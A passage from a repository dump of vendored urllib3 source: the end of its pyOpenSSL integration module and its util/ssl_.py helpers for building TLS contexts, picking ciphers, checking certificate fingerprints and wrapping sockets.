PyOpenSSL's package-level dependencies have been met. 148 | Throws `ImportError` if they are not met. 149 | """ 150 | # Method added in `cryptography==1.1`; not available in older versions 151 | from cryptography.x509.extensions import Extensions 152 | 153 | if getattr(Extensions, "get_extension_for_class", None) is None: 154 | raise ImportError( 155 | "'cryptography' module missing required functionality. " 156 | "Try upgrading to v1.3.4 or newer." 157 | ) 158 | 159 | # pyOpenSSL 0.14 and above use cryptography for OpenSSL bindings. The _x509 160 | # attribute is only present on those versions. 161 | from OpenSSL.crypto import X509 162 | 163 | x509 = X509() 164 | if getattr(x509, "_x509", None) is None: 165 | raise ImportError( 166 | "'pyOpenSSL' module missing required functionality. " 167 | "Try upgrading to v0.14 or newer." 168 | ) 169 | 170 | 171 | def _dnsname_to_stdlib(name): 172 | """ 173 | Converts a dNSName SubjectAlternativeName field to the form used by the 174 | standard library on the given Python version. 175 | 176 | Cryptography produces a dNSName as a unicode string that was idna-decoded 177 | from ASCII bytes. We need to idna-encode that string to get it back, and 178 | then on Python 3 we also need to convert to unicode via UTF-8 (the stdlib 179 | uses PyUnicode_FromStringAndSize on it, which decodes via UTF-8). 180 | 181 | If the name cannot be idna-encoded then we return None signalling that 182 | the name given should be skipped. 183 | """ 184 | 185 | def idna_encode(name): 186 | """ 187 | Borrowed wholesale from the Python Cryptography Project. It turns out 188 | that we can't just safely call `idna.encode`: it can explode for 189 | wildcard names. This avoids that problem. 190 | """ 191 | import idna 192 | 193 | try: 194 | for prefix in [u"*.", u"."]: 195 | if name.startswith(prefix): 196 | name = name[len(prefix) :] 197 | return prefix.encode("ascii") + idna.encode(name) 198 | return idna.encode(name) 199 | except idna.core.IDNAError: 200 | return None 201 | 202 | # Don't send IPv6 addresses through the IDNA encoder. 203 | if ":" in name: 204 | return name 205 | 206 | name = idna_encode(name) 207 | if name is None: 208 | return None 209 | elif sys.version_info >= (3, 0): 210 | name = name.decode("utf-8") 211 | return name 212 | 213 | 214 | def get_subj_alt_name(peer_cert): 215 | """ 216 | Given an PyOpenSSL certificate, provides all the subject alternative names. 217 | """ 218 | # Pass the cert to cryptography, which has much better APIs for this. 219 | if hasattr(peer_cert, "to_cryptography"): 220 | cert = peer_cert.to_cryptography() 221 | else: 222 | # This is technically using private APIs, but should work across all 223 | # relevant versions before PyOpenSSL got a proper API for this. 224 | cert = _Certificate(openssl_backend, peer_cert._x509) 225 | 226 | # We want to find the SAN extension. Ask Cryptography to locate it (it's 227 | # faster than looping in Python) 228 | try: 229 | ext = cert.extensions.get_extension_for_class(x509.SubjectAlternativeName).value 230 | except x509.ExtensionNotFound: 231 | # No such extension, return the empty list. 232 | return [] 233 | except ( 234 | x509.DuplicateExtension, 235 | UnsupportedExtension, 236 | x509.UnsupportedGeneralNameType, 237 | UnicodeError, 238 | ) as e: 239 | # A problem has been found with the quality of the certificate. Assume 240 | # no SAN field is present. 241 | log.warning( 242 | "A problem was encountered with the certificate that prevented " 243 | "urllib3 from finding the SubjectAlternativeName field. This can " 244 | "affect certificate validation. The error was %s", 245 | e, 246 | ) 247 | return [] 248 | 249 | # We want to return dNSName and iPAddress fields. We need to cast the IPs 250 | # back to strings because the match_hostname function wants them as 251 | # strings. 252 | # Sadly the DNS names need to be idna encoded and then, on Python 3, UTF-8 253 | # decoded. This is pretty frustrating, but that's what the standard library 254 | # does with certificates, and so we need to attempt to do the same. 255 | # We also want to skip over names which cannot be idna encoded. 256 | names = [ 257 | ("DNS", name) 258 | for name in map(_dnsname_to_stdlib, ext.get_values_for_type(x509.DNSName)) 259 | if name is not None 260 | ] 261 | names.extend( 262 | ("IP Address", str(name)) for name in ext.get_values_for_type(x509.IPAddress) 263 | ) 264 | 265 | return names 266 | 267 | 268 | class WrappedSocket(object): 269 | """API-compatibility wrapper for Python OpenSSL's Connection-class. 270 | 271 | Note: _makefile_refs, _drop() and _reuse() are needed for the garbage 272 | collector of pypy. 273 | """ 274 | 275 | def __init__(self, connection, socket, suppress_ragged_eofs=True): 276 | self.connection = connection 277 | self.socket = socket 278 | self.suppress_ragged_eofs = suppress_ragged_eofs 279 | self._makefile_refs = 0 280 | self._closed = False 281 | 282 | def fileno(self): 283 | return self.socket.fileno() 284 | 285 | # Copy-pasted from Python 3.5 source code 286 | def _decref_socketios(self): 287 | if self._makefile_refs > 0: 288 | self._makefile_refs -= 1 289 | if self._closed: 290 | self.close() 291 | 292 | def recv(self, *args, **kwargs): 293 | try: 294 | data = self.connection.recv(*args, **kwargs) 295 | except OpenSSL.SSL.SysCallError as e: 296 | if self.suppress_ragged_eofs and e.args == (-1, "Unexpected EOF"): 297 | return b"" 298 | else: 299 | raise SocketError(str(e)) 300 | except OpenSSL.SSL.ZeroReturnError: 301 | if self.connection.get_shutdown() == OpenSSL.SSL.RECEIVED_SHUTDOWN: 302 | return b"" 303 | else: 304 | raise 305 | except OpenSSL.SSL.WantReadError: 306 | if not util.wait_for_read(self.socket, self.socket.gettimeout()): 307 | raise timeout("The read operation timed out") 308 | else: 309 | return self.recv(*args, **kwargs) 310 | 311 | # TLS 1.3 post-handshake authentication 312 | except OpenSSL.SSL.Error as e: 313 | raise ssl.SSLError("read error: %r" % e) 314 | else: 315 | return data 316 | 317 | def recv_into(self, *args, **kwargs): 318 | try: 319 | return self.connection.recv_into(*args, **kwargs) 320 | except OpenSSL.SSL.SysCallError as e: 321 | if self.suppress_ragged_eofs and e.args == (-1, "Unexpected EOF"): 322 | return 0 323 | else: 324 | raise SocketError(str(e)) 325 | except OpenSSL.SSL.ZeroReturnError: 326 | if self.connection.get_shutdown() == OpenSSL.SSL.RECEIVED_SHUTDOWN: 327 | return 0 328 | else: 329 | raise 330 | except OpenSSL.SSL.WantReadError: 331 | if not util.wait_for_read(self.socket, self.socket.gettimeout()): 332 | raise timeout("The read operation timed out") 333 | else: 334 | return self.recv_into(*args, **kwargs) 335 | 336 | # TLS 1.3 post-handshake authentication 337 | except OpenSSL.SSL.Error as e: 338 | raise ssl.SSLError("read error: %r" % e) 339 | 340 | def settimeout(self, timeout): 341 | return self.socket.settimeout(timeout) 342 | 343 | def _send_until_done(self, data): 344 | while True: 345 | try: 346 | return self.connection.send(data) 347 | except OpenSSL.SSL.WantWriteError: 348 | if not util.wait_for_write(self.socket, self.socket.gettimeout()): 349 | raise timeout() 350 | continue 351 | except OpenSSL.SSL.SysCallError as e: 352 | raise SocketError(str(e)) 353 | 354 | def sendall(self, data): 355 | total_sent = 0 356 | while total_sent < len(data): 357 | sent = self._send_until_done( 358 | data[total_sent : total_sent + SSL_WRITE_BLOCKSIZE] 359 | ) 360 | total_sent += sent 361 | 362 | def shutdown(self): 363 | # FIXME rethrow compatible exceptions should we ever use this 364 | self.connection.shutdown() 365 | 366 | def close(self): 367 | if self._makefile_refs < 1: 368 | try: 369 | self._closed = True 370 | return self.connection.close() 371 | except OpenSSL.SSL.Error: 372 | return 373 | else: 374 | self._makefile_refs -= 1 375 | 376 | def getpeercert(self, binary_form=False): 377 | x509 = self.connection.get_peer_certificate() 378 | 379 | if not x509: 380 | return x509 381 | 382 | if binary_form: 383 | return OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_ASN1, x509) 384 | 385 | return { 386 | "subject": ((("commonName", x509.get_subject().CN),),), 387 | "subjectAltName": get_subj_alt_name(x509), 388 | } 389 | 390 | def version(self): 391 | return self.connection.get_protocol_version_name() 392 | 393 | def _reuse(self): 394 | self._makefile_refs += 1 395 | 396 | def _drop(self): 397 | if self._makefile_refs < 1: 398 | self.close() 399 | else: 400 | self._makefile_refs -= 1 401 | 402 | 403 | if _fileobject: # Platform-specific: Python 2 404 | 405 | def makefile(self, mode, bufsize=-1): 406 | self._makefile_refs += 1 407 | return _fileobject(self, mode, bufsize, close=True) 408 | 409 | 410 | else: # Platform-specific: Python 3 411 | makefile = backport_makefile 412 | 413 | WrappedSocket.makefile = makefile 414 | 415 | 416 | class PyOpenSSLContext(object): 417 | """ 418 | I am a wrapper class for the PyOpenSSL ``Context`` object. I am responsible 419 | for translating the interface of the standard library ``SSLContext`` object 420 | to calls into PyOpenSSL. 421 | """ 422 | 423 | def __init__(self, protocol): 424 | self.protocol = _openssl_versions[protocol] 425 | self._ctx = OpenSSL.SSL.Context(self.protocol) 426 | self._options = 0 427 | self.check_hostname = False 428 | 429 | @property 430 | def options(self): 431 | return self._options 432 | 433 | @options.setter 434 | def options(self, value): 435 | self._options = value 436 | self._ctx.set_options(value) 437 | 438 | @property 439 | def verify_mode(self): 440 | return _openssl_to_stdlib_verify[self._ctx.get_verify_mode()] 441 | 442 | @verify_mode.setter 443 | def verify_mode(self, value): 444 | self._ctx.set_verify(_stdlib_to_openssl_verify[value], _verify_callback) 445 | 446 | def set_default_verify_paths(self): 447 | self._ctx.set_default_verify_paths() 448 | 449 | def set_ciphers(self, ciphers): 450 | if isinstance(ciphers, six.text_type): 451 | ciphers = ciphers.encode("utf-8") 452 | self._ctx.set_cipher_list(ciphers) 453 | 454 | def load_verify_locations(self, cafile=None, capath=None, cadata=None): 455 | if cafile is not None: 456 | cafile = cafile.encode("utf-8") 457 | if capath is not None: 458 | capath = capath.encode("utf-8") 459 | try: 460 | self._ctx.load_verify_locations(cafile, capath) 461 | if cadata is not None: 462 | self._ctx.load_verify_locations(BytesIO(cadata)) 463 | except OpenSSL.SSL.Error as e: 464 | raise ssl.SSLError("unable to load trusted certificates: %r" % e) 465 | 466 | def load_cert_chain(self, certfile, keyfile=None, password=None): 467 | self._ctx.use_certificate_chain_file(certfile) 468 | if password is not None: 469 | if not isinstance(password, six.binary_type): 470 | password = password.encode("utf-8") 471 | self._ctx.set_passwd_cb(lambda *_: password) 472 | self._ctx.use_privatekey_file(keyfile or certfile) 473 | 474 | def set_alpn_protocols(self, protocols): 475 | protocols = [six.ensure_binary(p) for p in protocols] 476 | return self._ctx.set_alpn_protos(protocols) 477 | 478 | def wrap_socket( 479 | self, 480 | sock, 481 | server_side=False, 482 | do_handshake_on_connect=True, 483 | suppress_ragged_eofs=True, 484 | server_hostname=None, 485 | ): 486 | cnx = OpenSSL.SSL.Connection(self._ctx, sock) 487 | 488 | if isinstance(server_hostname, six.text_type): # Platform-specific: Python 3 489 | server_hostname = server_hostname.encode("utf-8") 490 | 491 | if server_hostname is not None: 492 | cnx.set_tlsext_host_name(server_hostname) 493 | 494 | cnx.set_connect_state() 495 | 496 | while True: 497 | try: 498 | cnx.do_handshake() 499 | except OpenSSL.SSL.WantReadError: 500 | if not util.wait_for_read(sock, sock.gettimeout()): 501 | raise timeout("select timed out") 502 | continue 503 | except OpenSSL.SSL.Error as e: 504 | raise ssl.SSLError("bad handshake: %r" % e) 505 | break 506 | 507 | return WrappedSocket(cnx, sock) 508 | 509 | 510 | def _verify_callback(cnx, x509, err_no, err_depth, return_code): 511 | return err_no == 0 512 | -------------------------------------------------------------------------------- /modules/urllib3/util/ssl_.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import hmac 4 | import os 5 | import sys 6 | import warnings 7 | from binascii import hexlify, unhexlify 8 | from hashlib import md5, sha1, sha256 9 | 10 | from ..exceptions import ( 11 | InsecurePlatformWarning, 12 | ProxySchemeUnsupported, 13 | SNIMissingWarning, 14 | SSLError, 15 | ) 16 | from ..packages import six 17 | from .url import BRACELESS_IPV6_ADDRZ_RE, IPV4_RE 18 | 19 | SSLContext = None 20 | SSLTransport = None 21 | HAS_SNI = False 22 | IS_PYOPENSSL = False 23 | IS_SECURETRANSPORT = False 24 | ALPN_PROTOCOLS = ["http/1.1"] 25 | 26 | # Maps the length of a digest to a possible hash function producing this digest 27 | HASHFUNC_MAP = {32: md5, 40: sha1, 64: sha256} 28 | 29 | 30 | def _const_compare_digest_backport(a, b): 31 | """ 32 | Compare two digests of equal length in constant time. 33 | 34 | The digests must be of type str/bytes. 35 | Returns True if the digests match, and False otherwise. 36 | """ 37 | result = abs(len(a) - len(b)) 38 | for left, right in zip(bytearray(a), bytearray(b)): 39 | result |= left ^ right 40 | return result == 0 41 | 42 | 43 | _const_compare_digest = getattr(hmac, "compare_digest", _const_compare_digest_backport) 44 | 45 | try: # Test for SSL features 46 | import ssl 47 | from ssl import CERT_REQUIRED, wrap_socket 48 | except ImportError: 49 | pass 50 | 51 | try: 52 | from ssl import HAS_SNI # Has SNI? 53 | except ImportError: 54 | pass 55 | 56 | try: 57 | from .ssltransport import SSLTransport 58 | except ImportError: 59 | pass 60 | 61 | 62 | try: # Platform-specific: Python 3.6 63 | from ssl import PROTOCOL_TLS 64 | 65 | PROTOCOL_SSLv23 = PROTOCOL_TLS 66 | except ImportError: 67 | try: 68 | from ssl import PROTOCOL_SSLv23 as PROTOCOL_TLS 69 | 70 | PROTOCOL_SSLv23 = PROTOCOL_TLS 71 | except ImportError: 72 | PROTOCOL_SSLv23 = PROTOCOL_TLS = 2 73 | 74 | try: 75 | from ssl import PROTOCOL_TLS_CLIENT 76 | except ImportError: 77 | PROTOCOL_TLS_CLIENT = PROTOCOL_TLS 78 | 79 | 80 | try: 81 | from ssl import OP_NO_COMPRESSION, OP_NO_SSLv2, OP_NO_SSLv3 82 | except ImportError: 83 | OP_NO_SSLv2, OP_NO_SSLv3 = 0x1000000, 0x2000000 84 | OP_NO_COMPRESSION = 0x20000 85 | 86 | 87 | try: # OP_NO_TICKET was added in Python 3.6 88 | from ssl import OP_NO_TICKET 89 | except ImportError: 90 | OP_NO_TICKET = 0x4000 91 | 92 | 93 | # A secure default. 94 | # Sources for more information on TLS ciphers: 95 | # 96 | # - https://wiki.mozilla.org/Security/Server_Side_TLS 97 | # - https://www.ssllabs.com/projects/best-practices/index.html 98 | # - https://hynek.me/articles/hardening-your-web-servers-ssl-ciphers/ 99 | # 100 | # The general intent is: 101 | # - prefer cipher suites that offer perfect forward secrecy (DHE/ECDHE), 102 | # - prefer ECDHE over DHE for better performance, 103 | # - prefer any AES-GCM and ChaCha20 over any AES-CBC for better performance and 104 | # security, 105 | # - prefer AES-GCM over ChaCha20 because hardware-accelerated AES is common, 106 | # - disable NULL authentication, MD5 MACs, DSS, and other 107 | # insecure ciphers for security reasons. 108 | # - NOTE: TLS 1.3 cipher suites are managed through a different interface 109 | # not exposed by CPython (yet!) and are enabled by default if they're available. 110 | DEFAULT_CIPHERS = ":".join( 111 | [ 112 | "ECDHE+AESGCM", 113 | "ECDHE+CHACHA20", 114 | "DHE+AESGCM", 115 | "DHE+CHACHA20", 116 | "ECDH+AESGCM", 117 | "DH+AESGCM", 118 | "ECDH+AES", 119 | "DH+AES", 120 | "RSA+AESGCM", 121 | "RSA+AES", 122 | "!aNULL", 123 | "!eNULL", 124 | "!MD5", 125 | "!DSS", 126 | ] 127 | ) 128 | 129 | try: 130 | from ssl import SSLContext # Modern SSL? 131 | except ImportError: 132 | 133 | class SSLContext(object): # Platform-specific: Python 2 134 | def __init__(self, protocol_version): 135 | self.protocol = protocol_version 136 | # Use default values from a real SSLContext 137 | self.check_hostname = False 138 | self.verify_mode = ssl.CERT_NONE 139 | self.ca_certs = None 140 | self.options = 0 141 | self.certfile = None 142 | self.keyfile = None 143 | self.ciphers = None 144 | 145 | def load_cert_chain(self, certfile, keyfile): 146 | self.certfile = certfile 147 | self.keyfile = keyfile 148 | 149 | def load_verify_locations(self, cafile=None, capath=None, cadata=None): 150 | self.ca_certs = cafile 151 | 152 | if capath is not None: 153 | raise SSLError("CA directories not supported in older Pythons") 154 | 155 | if cadata is not None: 156 | raise SSLError("CA data not supported in older Pythons") 157 | 158 | def set_ciphers(self, cipher_suite): 159 | self.ciphers = cipher_suite 160 | 161 | def wrap_socket(self, socket, server_hostname=None, server_side=False): 162 | warnings.warn( 163 | "A true SSLContext object is not available. This prevents " 164 | "urllib3 from configuring SSL appropriately and may cause " 165 | "certain SSL connections to fail. You can upgrade to a newer " 166 | "version of Python to solve this. For more information, see " 167 | "https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html" 168 | "#ssl-warnings", 169 | InsecurePlatformWarning, 170 | ) 171 | kwargs = { 172 | "keyfile": self.keyfile, 173 | "certfile": self.certfile, 174 | "ca_certs": self.ca_certs, 175 | "cert_reqs": self.verify_mode, 176 | "ssl_version": self.protocol, 177 | "server_side": server_side, 178 | } 179 | return wrap_socket(socket, ciphers=self.ciphers, **kwargs) 180 | 181 | 182 | def assert_fingerprint(cert, fingerprint): 183 | """ 184 | Checks if given fingerprint matches the supplied certificate. 185 | 186 | :param cert: 187 | Certificate as bytes object. 188 | :param fingerprint: 189 | Fingerprint as string of hexdigits, can be interspersed by colons. 190 | """ 191 | 192 | fingerprint = fingerprint.replace(":", "").lower() 193 | digest_length = len(fingerprint) 194 | hashfunc = HASHFUNC_MAP.get(digest_length) 195 | if not hashfunc: 196 | raise SSLError("Fingerprint of invalid length: {0}".format(fingerprint)) 197 | 198 | # We need encode() here for py32; works on py2 and p33. 199 | fingerprint_bytes = unhexlify(fingerprint.encode()) 200 | 201 | cert_digest = hashfunc(cert).digest() 202 | 203 | if not _const_compare_digest(cert_digest, fingerprint_bytes): 204 | raise SSLError( 205 | 'Fingerprints did not match. Expected "{0}", got "{1}".'.format( 206 | fingerprint, hexlify(cert_digest) 207 | ) 208 | ) 209 | 210 | 211 | def resolve_cert_reqs(candidate): 212 | """ 213 | Resolves the argument to a numeric constant, which can be passed to 214 | the wrap_socket function/method from the ssl module. 215 | Defaults to :data:`ssl.CERT_REQUIRED`. 216 | If given a string it is assumed to be the name of the constant in the 217 | :mod:`ssl` module or its abbreviation. 218 | (So you can specify `REQUIRED` instead of `CERT_REQUIRED`. 219 | If it's neither `None` nor a string we assume it is already the numeric 220 | constant which can directly be passed to wrap_socket. 221 | """ 222 | if candidate is None: 223 | return CERT_REQUIRED 224 | 225 | if isinstance(candidate, str): 226 | res = getattr(ssl, candidate, None) 227 | if res is None: 228 | res = getattr(ssl, "CERT_" + candidate) 229 | return res 230 | 231 | return candidate 232 | 233 | 234 | def resolve_ssl_version(candidate): 235 | """ 236 | like resolve_cert_reqs 237 | """ 238 | if candidate is None: 239 | return PROTOCOL_TLS 240 | 241 | if isinstance(candidate, str): 242 | res = getattr(ssl, candidate, None) 243 | if res is None: 244 | res = getattr(ssl, "PROTOCOL_" + candidate) 245 | return res 246 | 247 | return candidate 248 | 249 | 250 | def create_urllib3_context( 251 | ssl_version=None, cert_reqs=None, options=None, ciphers=None 252 | ): 253 | """All arguments have the same meaning as ``ssl_wrap_socket``. 254 | 255 | By default, this function does a lot of the same work that 256 | ``ssl.create_default_context`` does on Python 3.4+. It: 257 | 258 | - Disables SSLv2, SSLv3, and compression 259 | - Sets a restricted set of server ciphers 260 | 261 | If you wish to enable SSLv3, you can do:: 262 | 263 | from urllib3.util import ssl_ 264 | context = ssl_.create_urllib3_context() 265 | context.options &= ~ssl_.OP_NO_SSLv3 266 | 267 | You can do the same to enable compression (substituting ``COMPRESSION`` 268 | for ``SSLv3`` in the last line above). 269 | 270 | :param ssl_version: 271 | The desired protocol version to use. This will default to 272 | PROTOCOL_SSLv23 which will negotiate the highest protocol that both 273 | the server and your installation of OpenSSL support. 274 | :param cert_reqs: 275 | Whether to require the certificate verification. This defaults to 276 | ``ssl.CERT_REQUIRED``. 277 | :param options: 278 | Specific OpenSSL options. These default to ``ssl.OP_NO_SSLv2``, 279 | ``ssl.OP_NO_SSLv3``, ``ssl.OP_NO_COMPRESSION``, and ``ssl.OP_NO_TICKET``. 280 | :param ciphers: 281 | Which cipher suites to allow the server to select. 282 | :returns: 283 | Constructed SSLContext object with specified options 284 | :rtype: SSLContext 285 | """ 286 | # PROTOCOL_TLS is deprecated in Python 3.10 287 | if not ssl_version or ssl_version == PROTOCOL_TLS: 288 | ssl_version = PROTOCOL_TLS_CLIENT 289 | 290 | context = SSLContext(ssl_version) 291 | 292 | context.set_ciphers(ciphers or DEFAULT_CIPHERS) 293 | 294 | # Setting the default here, as we may have no ssl module on import 295 | cert_reqs = ssl.CERT_REQUIRED if cert_reqs is None else cert_reqs 296 | 297 | if options is None: 298 | options = 0 299 | # SSLv2 is easily broken and is considered harmful and dangerous 300 | options |= OP_NO_SSLv2 301 | # SSLv3 has several problems and is now dangerous 302 | options |= OP_NO_SSLv3 303 | # Disable compression to prevent CRIME attacks for OpenSSL 1.0+ 304 | # (issue #309) 305 | options |= OP_NO_COMPRESSION 306 | # TLSv1.2 only. Unless set explicitly, do not request tickets. 307 | # This may save some bandwidth on wire, and although the ticket is encrypted, 308 | # there is a risk associated with it being on wire, 309 | # if the server is not rotating its ticketing keys properly. 310 | options |= OP_NO_TICKET 311 | 312 | context.options |= options 313 | 314 | # Enable post-handshake authentication for TLS 1.3, see GH #1634. PHA is 315 | # necessary for conditional client cert authentication with TLS 1.3. 316 | # The attribute is None for OpenSSL <= 1.1.0 or does not exist in older 317 | # versions of Python. We only enable on Python 3.7.4+ or if certificate 318 | # verification is enabled to work around Python issue #37428 319 | # See: https://bugs.python.org/issue37428 320 | if (cert_reqs == ssl.CERT_REQUIRED or sys.version_info >= (3, 7, 4)) and getattr( 321 | context, "post_handshake_auth", None 322 | ) is not None: 323 | context.post_handshake_auth = True 324 | 325 | def disable_check_hostname(): 326 | if ( 327 | getattr(context, "check_hostname", None) is not None 328 | ): # Platform-specific: Python 3.2 329 | # We do our own verification, including fingerprints and alternative 330 | # hostnames. So disable it here 331 | context.check_hostname = False 332 | 333 | # The order of the below lines setting verify_mode and check_hostname 334 | # matter due to safe-guards SSLContext has to prevent an SSLContext with 335 | # check_hostname=True, verify_mode=NONE/OPTIONAL. This is made even more 336 | # complex because we don't know whether PROTOCOL_TLS_CLIENT will be used 337 | # or not so we don't know the initial state of the freshly created SSLContext. 338 | if cert_reqs == ssl.CERT_REQUIRED: 339 | context.verify_mode = cert_reqs 340 | disable_check_hostname() 341 | else: 342 | disable_check_hostname() 343 | context.verify_mode = cert_reqs 344 | 345 | # Enable logging of TLS session keys via defacto standard environment variable 346 | # 'SSLKEYLOGFILE', if the feature is available (Python 3.8+). Skip empty values. 347 | if hasattr(context, "keylog_filename"): 348 | sslkeylogfile = os.environ.get("SSLKEYLOGFILE") 349 | if sslkeylogfile: 350 | context.keylog_filename = sslkeylogfile 351 | 352 | return context 353 | 354 | 355 | def ssl_wrap_socket( 356 | sock, 357 | keyfile=None, 358 | certfile=None, 359 | cert_reqs=None, 360 | ca_certs=None, 361 | server_hostname=None, 362 | ssl_version=None, 363 | ciphers=None, 364 | ssl_context=None, 365 | ca_cert_dir=None, 366 | key_password=None, 367 | ca_cert_data=None, 368 | tls_in_tls=False, 369 | ): 370 | """ 371 | All arguments except for server_hostname, ssl_context, and ca_cert_dir have 372 | the same meaning as they do when using :func:`ssl.wrap_socket`. 373 | 374 | :param server_hostname: 375 | When SNI is supported, the expected hostname of the certificate 376 | :param ssl_context: 377 | A pre-made :class:`SSLContext` object. If none is provided, one will 378 | be created using :func:`create_urllib3_context`. 379 | :param ciphers: 380 | A string of ciphers we wish the client to support. 381 | :param ca_cert_dir: 382 | A directory containing CA certificates in multiple separate files, as 383 | supported by OpenSSL's -CApath flag or the capath argument to 384 | SSLContext.load_verify_locations(). 385 | :param key_password: 386 | Optional password if the keyfile is encrypted. 387 | :param ca_cert_data: 388 | Optional string containing CA certificates in PEM format suitable for 389 | passing as the cadata parameter to SSLContext.load_verify_locations() 390 | :param tls_in_tls: 391 | Use SSLTransport to wrap the existing socket. 392 | """ 393 | context = ssl_context 394 | if context is None: 395 | # Note: This branch of code and all the variables in it are no longer 396 | # used by urllib3 itself. We should consider deprecating and removing 397 | # this code. 398 | context = create_urllib3_context(ssl_version, cert_reqs, ciphers=ciphers) 399 | 400 | if ca_certs or ca_cert_dir or ca_cert_data: 401 | try: 402 | context.load_verify_locations(ca_certs, ca_cert_dir, ca_cert_data) 403 | except (IOError, OSError) as e: 404 | raise SSLError(e) 405 | 406 | elif ssl_context is None and hasattr(context, "load_default_certs"): 407 | # try to load OS default certs; works well on Windows (require Python3.4+) 408 | context.load_default_certs() 409 | 410 | # Attempt to detect if we get the goofy behavior of the 411 | # keyfile being encrypted and OpenSSL asking for the 412 | # passphrase via the terminal and instead error out. 413 | if keyfile and key_password is None and _is_key_file_encrypted(keyfile): 414 | raise SSLError("Client private key is encrypted, password is required") 415 | 416 | if certfile: 417 | if key_password is None: 418 | context.load_cert_chain(certfile, keyfile) 419 | else: 420 | context.load_cert_chain(certfile, keyfile, key_password) 421 | 422 | try: 423 | if hasattr(context, "set_alpn_protocols"): 424 | context.set_alpn_protocols(ALPN_PROTOCOLS) 425 | except NotImplementedError: # Defensive: in CI, we always have set_alpn_protocols 426 | pass 427 | 428 | # If we detect server_hostname is an IP address then the SNI 429 | # extension should not be used according to RFC3546 Section 3.1 430 | use_sni_hostname = server_hostname and not is_ipaddress(server_hostname) 431 | # SecureTransport uses server_hostname in certificate verification. 432 | send_sni = (use_sni_hostname and HAS_SNI) or ( 433 | IS_SECURETRANSPORT and server_hostname 434 | ) 435 | # Do not warn the user if server_hostname is an invalid SNI hostname. 436 | if not HAS_SNI and use_sni_hostname: 437 | warnings.warn( 438 | "An HTTPS request has been made, but the SNI (Server Name " 439 | "Indication) extension to TLS is not available on this platform. " 440 | "This may cause the server to present an incorrect TLS " 441 | "certificate, which can cause validation failures. You can upgrade to " 442 | "a newer version of Python to solve this. For more information, see " 443 | "https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html" 444 | "#ssl-warnings", 445 | SNIMissingWarning, 446 | ) 447 | 448 | if send_sni: 449 | ssl_sock = _ssl_wrap_socket_impl( 450 | sock, context, tls_in_tls, server_hostname=server_hostname 451 | ) 452 | else: 453 | ssl_sock = _ssl_wrap_socket_impl(sock, context, tls_in_tls) 454 | return ssl_sock 455 | 456 | 457 | def is_ipaddress(hostname): 458 | """Detects whether the hostname given is an IPv4 or IPv6 address. 459 | Also detects IPv6 addresses with Zone IDs. 460 | 461 | :param str hostname: Hostname to examine. 462 | :return: True if the hostname is an IP address, False otherwise. 463 | """ 464 | if not six.PY2 and isinstance(hostname, bytes): 465 | # IDN A-label bytes are ASCII compatible. 466 | hostname = hostname.decode("ascii") 467 | return bool(IPV4_RE.match(hostname) or BRACELESS_IPV6_ADDRZ_RE.match(hostname)) 468 | 469 | 470 | def _is_key_file_encrypted(key_file): 471 | """Detects if a key file is encrypted or not.""" 472 | with open(key_file, "r") as f: 473 | for line in f: 474 | # Look for Proc-Type: 4,ENCRYPTED 475 | if "ENCRYPTED" in line: 476 | return True 477 | 478 | return False 479 | 480 | 481 | def _ssl_wrap_socket_impl(sock, ssl_context, tls_in_tls, server_hostname=None): 482 | if tls_in_tls: 483 | if not SSLTransport: 484 | # Import error, ssl is not available. 485 | raise ProxySchemeUnsupported( 486 | "TLS in TLS requires support for the 'ssl' module" 487 | ) 488 | 489 | SSLTransport._validate_ssl_context_for_tls_in_tls(ssl_context) 490 | return SSLTransport(sock, ssl_context, server_hostname) 491 | 492 | if server_hostname: 493 | return ssl_context.wrap_socket(sock, server_hostname=server_hostname) 494 | else: 495 | return ssl_context.wrap_socket(sock) 496 | --------------------------------------------------------------------------------